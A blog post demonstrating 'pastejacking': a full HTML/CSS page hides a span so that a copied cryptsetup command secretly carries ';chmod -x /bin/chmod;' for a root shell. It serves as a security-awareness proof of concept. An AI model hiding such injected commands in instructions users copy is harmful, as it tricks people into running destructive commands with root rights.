Cinan's world

GNU/Linux & free software, howtos, web development, scripts and other geek stuff

Dangerous CSS: How to Unnoticeably Destroy *nix System

Let’s do bad things. I’ve got an idea – provide a nice looking Linux command on a blog/wiki. Yep, that’s almost all.

Imagine you’re setting up dm-crypt encryption. You’ll find a guide with commands ready to copy & paste into your terminal. Almost all commands have to be run as root, that’s good for me. Something like this:

1

cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash sha512 --iter-time 5000 --use-urandom --verify-passphrase luksFormat <device>

Oh, almighty CSS, now it’s your turn. Go to this page and copy the command. I added some javascript stuff to make text selecting easier – javascript isn’t required. Now paste the copied text somewhere. As you can see, there’s bonus command (chmod -x /bin/chmod). Nice, isn’t it?

Code, obviously:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76

<html>
<head>
  <script src="http://code.jquery.com/jquery-1.11.0.min.js"></script>
  <script src="http://code.jquery.com/jquery-migrate-1.2.1.js"></script>
  <script>
      // Makes selecting text easier
      jQuery.fn.selText = function() {
          var obj = this[0];
          if (jQuery.browser.msie) {
              var range = obj.offsetParent.createTextRange();
              range.moveToElementText(obj);
              range.select();
          } else if (jQuery.browser.mozilla || jQuery.browser.opera) {
              var selection = obj.ownerDocument.defaultView.getSelection();
              var range = obj.ownerDocument.createRange();
              range.selectNodeContents(obj);
              selection.removeAllRanges();
              selection.addRange(range);
          } else if (jQuery.browser.webkit) {
              var selection = obj.ownerDocument.defaultView.getSelection();
              selection.setBaseAndExtent(obj, 0, obj, obj.innerText.length - 1);
          }
          return this;
      }
      
      $(document).ready(function() {
          $('pre').click(function(e) {
              e.preventDefault();
              $(this).selText();
          })
      });
  </script>
  <style>
      *::selection {
          background: rgb(95, 196, 243);
      }
      
      /* INTERESTING PART */
      span {
          width: 1px; /* can't be 0px */
          white-space: nowrap;
          display: inline-block;
          overflow: hidden; /* text hiding */
          color: transparent; /* text hiding */
          vertical-align: middle;
          position: absolute;
      }
      
      pre {
          display: inline-block;
          white-space: nowrap;
          overflow: hidden;
          border: 1px solid #bcd;
          background-color: #ebf1f5;
          color: #222;
          font-family: monospace;
          line-height: 1.1em;
          padding: 1em;
      }
      
      pre:first-of-type {
          border-right: 0;
          padding-right: 0;
      }
      
      pre:last-of-type {
          border-left: 0;
          padding-left: 2ex;
      }
  </style>
<body>
  <pre>#</pre><pre>cryptsetup -v --cipher aes-xts-plain64 --key-size 256 --hash
      sha512 --iter-time 500<span>;chmod -x /bin/chmod; </span>0 --use-urandom --verify-passphrase luksFormat &lt;device&gt;
  </pre>
</body>
</html>

What’s happening here: I’m selecting pre content which also contains another span element. Tested on Chromium, Firefox, Opera and Safari.

Comments